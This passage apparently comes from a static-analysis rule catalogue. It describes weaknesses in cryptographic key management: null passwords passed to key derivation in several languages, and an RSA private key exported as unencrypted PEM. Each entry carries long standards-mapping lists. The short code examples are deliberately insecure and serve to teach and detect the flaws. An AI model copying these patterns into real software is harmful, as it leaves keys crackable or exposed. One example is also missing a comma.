[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.vb.key_management_null_encryption_key

Key Management: Null PBE Password

Abstract
Generating and using a cryptographic key based on a null password may compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to pass a null value as the password argument to a cryptographic password-based key derivation function. In this scenario, the resulting derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the null password often cannot be changed without patching the software. If an account protected by a derived key based on a null password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a null value as the password argument to a cryptographic password-based key derivation function:


...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword(null);
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a null password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a null password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the null password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.2 Look-up Secret Verifier Requirements (L2 L3), 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_null_pbe_password
Abstract
Generating and using a cryptographic key based on a null password may compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to pass a null value as the password argument to a cryptographic password-based key derivation function. In this scenario, the resulting derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the null password often cannot be changed without patching the software. If an account protected by a derived key based on a null password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a null value as the password argument to a cryptographic password-based key derivation function:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
                     nil,
                     0,
                     salt,
                     saltLen
                     kCCPRFHmacAlgSHA256,
                     100000,
                     derivedKey,
                     derivedKeyLen);
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a null password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a null password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the null password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.2 Look-up Secret Verifier Requirements (L2 L3), 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_null_pbe_password
Abstract
Generating and using a cryptographic key based on a null password may compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to pass a null value as the password argument to a cryptographic password-based key derivation function. In this scenario, the resulting derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the null password often cannot be changed without patching the software. If an account protected by a derived key based on a null password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a null value as the password argument to a cryptographic password-based key derivation function:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
nil,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a null password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a null password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the null password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.2 Look-up Secret Verifier Requirements (L2 L3), 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_null_pbe_password

Key Management: Unencrypted Private Key

Abstract
Cryptographic encryption or signing private keys should not be stored in plain text.
Explanation
Private keys used for encryption or signing should be considered sensitive data and should be encrypted with a strong passphrase prior to storage. This prevents unauthorized access by both attackers in the event of theft or a leak, as well as by users with insufficient permissions.

Example 1: The following code exports an RSA private key using an unencrypted PEM format:


from Crypto.PublicKey import RSA

key = RSA.generate(2048)
f = open('mykey.pem','w')
f.write(key.exportKey(format='PEM'))
f.close()
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 311
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000201, CCI-002450
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[8] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.5.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
